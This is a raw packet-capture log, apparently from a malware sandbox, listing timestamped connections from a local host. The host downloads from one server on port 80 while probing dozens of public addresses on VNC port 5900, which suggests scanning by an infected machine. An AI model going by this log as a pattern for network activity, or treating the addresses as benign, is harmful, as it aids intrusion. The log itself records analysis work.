Oct 30, 2018 14:45:12.552926064 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.553009033 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.561734915 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.566251993 CET	51554	5900	192.168.1.81	93.89.170.149
Oct 30, 2018 14:45:12.571491957 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:12.584391117 CET	51452	5900	192.168.1.81	38.48.149.183
Oct 30, 2018 14:45:12.584434032 CET	51453	5900	192.168.1.81	206.148.158.160
Oct 30, 2018 14:45:12.585720062 CET	5900	51550	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.587646961 CET	51556	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.592209101 CET	51557	5900	192.168.1.81	91.24.32.206
Oct 30, 2018 14:45:12.596227884 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.596323967 CET	51544	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:12.615048885 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615075111 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615140915 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615154028 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.615165949 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615190983 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615215063 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615237951 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615262032 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615278959 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.615286112 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615309954 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615334034 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.615417957 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.618577957 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.618681908 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.622335911 CET	51558	5900	192.168.1.81	154.147.58.161
Oct 30, 2018 14:45:12.628674984 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.635356903 CET	5900	51556	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.635436058 CET	51556	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.651258945 CET	51560	5900	192.168.1.81	187.34.56.113
Oct 30, 2018 14:45:12.659372091 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668448925 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668497086 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668562889 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668572903 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668606043 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668617010 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668659925 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668695927 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668736935 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668759108 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668766022 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668790102 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668791056 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668816090 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668823957 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668834925 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668859005 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668895006 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668921947 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668946028 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668946028 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668971062 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.668976068 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.668994904 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.669001102 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669018984 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.669023991 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669043064 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.669049025 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669073105 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.669080973 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669096947 CET	80	51552	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.669228077 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669259071 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669277906 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669295073 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669310093 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669341087 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669357061 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.669375896 CET	51552	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.670329094 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.682116985 CET	51561	5900	192.168.1.81	145.124.7.17
Oct 30, 2018 14:45:12.683737993 CET	5900	51556	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.684138060 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.684223890 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.684242964 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.684361935 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.685487986 CET	51562	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.685960054 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.693224907 CET	51455	5900	192.168.1.81	45.93.91.81
Oct 30, 2018 14:45:12.693264961 CET	51456	5900	192.168.1.81	81.92.188.89
Oct 30, 2018 14:45:12.693284035 CET	51457	5900	192.168.1.81	144.237.105.68
Oct 30, 2018 14:45:12.713459015 CET	5900	51558	154.147.58.161	192.168.1.81
Oct 30, 2018 14:45:12.714382887 CET	51563	5900	192.168.1.81	136.37.73.98
Oct 30, 2018 14:45:12.714509010 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714545965 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714567900 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714592934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714601994 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.714616060 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714641094 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714663982 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.714735985 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.729810953 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.729976892 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.730433941 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730488062 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730520010 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.730567932 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730654955 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730679989 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730688095 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.730704069 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730729103 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730752945 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730776072 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730801105 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730824947 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730839968 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.730849028 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730873108 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730896950 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730920076 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730943918 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730958939 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.730967999 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.730995893 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731028080 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731051922 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731075048 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731087923 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.731098890 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731123924 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731153965 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731178045 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731200933 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731225014 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.731257915 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.731374025 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.733159065 CET	5900	51562	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.733238935 CET	51562	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.741252899 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741300106 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741367102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741373062 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.741405964 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741457939 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741492987 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741503000 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.741523027 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741554022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741584063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741612911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741647959 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.741647959 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.743602991 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.752448082 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.752643108 CET	51564	5900	192.168.1.81	113.189.155.44
Oct 30, 2018 14:45:12.781008005 CET	5900	51562	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.783906937 CET	51565	5900	192.168.1.81	171.44.137.11
Oct 30, 2018 14:45:12.785541058 CET	51566	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.787281990 CET	51458	5900	192.168.1.81	34.174.113.165
Oct 30, 2018 14:45:12.787326097 CET	51459	5900	192.168.1.81	174.226.64.210
Oct 30, 2018 14:45:12.787349939 CET	51460	5900	192.168.1.81	33.80.87.187
Oct 30, 2018 14:45:12.796802998 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.796878099 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.796915054 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.796962023 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.796993017 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.796992064 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.797024965 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797071934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797101974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797117949 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.797162056 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797207117 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797245979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797276974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797287941 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.797306061 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797336102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797364950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797394991 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797429085 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.797452927 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.797667980 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.798445940 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.799588919 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.799628973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.799653053 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.799660921 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.799691916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.799786091 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.813867092 CET	51567	5900	192.168.1.81	81.89.255.150
Oct 30, 2018 14:45:12.821459055 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.833134890 CET	5900	51566	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.833398104 CET	51566	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.835309029 CET	51461	5900	192.168.1.81	48.190.83.175
Oct 30, 2018 14:45:12.835350990 CET	51462	5900	192.168.1.81	134.94.120.159
Oct 30, 2018 14:45:12.847192049 CET	51568	5900	192.168.1.81	55.101.193.251
Oct 30, 2018 14:45:12.852786064 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852814913 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852833986 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852853060 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852871895 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852878094 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.852932930 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852955103 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852972031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.852991104 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853010893 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853030920 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853064060 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.853095055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853115082 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853132010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853152037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853171110 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853195906 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853205919 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.853312016 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.853415012 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853481054 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853492975 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.853550911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853571892 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853589058 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853609085 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853630066 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853650093 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853651047 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.853668928 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853770018 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853790998 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853806973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853887081 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.853888988 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.854015112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.854139090 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.855166912 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855274916 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855284929 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.855309010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855339050 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855369091 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855398893 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855428934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855438948 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.855560064 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855597019 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.855670929 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.865535021 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:12.865643978 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:12.876837015 CET	51569	5900	192.168.1.81	117.30.149.179
Oct 30, 2018 14:45:12.881433964 CET	5900	51566	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.885293007 CET	51570	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.891093969 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.901926041 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.902489901 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:12.903583050 CET	51544	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:12.907988071 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908025026 CET	51571	5900	192.168.1.81	197.26.74.29
Oct 30, 2018 14:45:12.908051968 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908108950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908112049 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.908155918 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908226967 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908237934 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.908257961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908288956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908318996 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908337116 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.908358097 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908390999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.908449888 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.920741081 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.930898905 CET	5900	51570	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.930983067 CET	51570	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.946090937 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.946122885 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.946151972 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.946154118 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.946180105 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.946259975 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.949733019 CET	51572	5900	192.168.1.81	193.48.57.149
Oct 30, 2018 14:45:12.970379114 CET	51463	5900	192.168.1.81	31.246.89.169
Oct 30, 2018 14:45:12.970419884 CET	51464	5900	192.168.1.81	90.168.63.17
Oct 30, 2018 14:45:12.977420092 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977509022 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.977608919 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977658987 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977675915 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.977703094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977746010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977787971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977799892 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.977828979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977870941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977896929 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.977912903 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977955103 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.977982044 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.977997065 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978039026 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978065968 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978080988 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978122950 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978148937 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978164911 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978207111 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978233099 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978247881 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978290081 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978313923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978331089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978374004 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978409052 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978415012 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978456974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978477955 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978499889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978542089 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978569031 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978584051 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978626013 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978652954 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978667021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978708029 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978734016 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978749037 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978790045 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978815079 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978831053 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978873014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978893042 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978914022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978955984 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.978981018 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.978996992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.979038000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.979074001 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.979079008 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.979120970 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.979145050 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.979162931 CET	80	51559	92.63.197.48	192.168.1.81
